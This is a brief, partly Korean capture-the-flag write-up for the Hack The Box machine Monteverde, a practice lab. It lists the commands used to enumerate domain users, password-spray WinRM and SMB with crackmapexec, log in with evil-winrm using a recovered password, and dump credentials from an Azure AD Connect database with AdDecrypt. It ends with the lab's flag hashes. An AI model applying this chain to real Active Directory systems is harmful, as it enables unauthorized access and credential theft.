[HTB] Monteverde Writeup

nmap -sC -sS -sV -p- -O -o scanResult.txt 10.129.114.254

nmap --script vuln 10.129.114.254 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49677,49678,49679,49689,49697 -o nmapVulnScanResult.txt

rpcclient -U "" -N 10.129.114.254
enumdomusers

계정 목록 획득 후 여러 공격기법을 수행해보았으나 실패했다.

그래서 bruteforce 공격을 시도해보았다.

crackmapexec winrm 10.129.114.254 -u enumdomusers.txt -p enumdomusers.txt --continue-on-success
# not work..

crackmapexec smb 10.129.114.254 -u enumdomusers.txt -p enumdomusers.txt --continue-on-success

smbclient \\\\10.129.114.254\\users$ -U "SABatchJobs" SABatchJobs

mhope/4n0therD4y@n0th3r$

crackmapexec winrm 10.129.114.254 -u mhope -p 4n0therD4y@n0th3r$

evil-winrm -i 10.129.114.254 -u mhope -p 4n0therD4y@n0th3r$

 

권한 상승을 시도했지만, 기존에 알고있던 AD 공격법은 모두 유효하지 않았다. 그래서 해당 계정의 특이사항인 Azure 관련해서 구글링을 해보았고, 설치되어있는 프로그램 중 Microsoft Azure AD Sync 에서 계정 탈취 취약점 레퍼런스가 있어서 참고해보았다.

https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/

Azure AD Connect Database Exploit (Priv Esc)

*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> c:\temp\AdDecrypt.exe -FullSQL

 

 

[user] 4961976bd7d8f4eeb2ce3705e2f212f2

[root] 12909612d25c8dcf6e5a07d1a804a0bc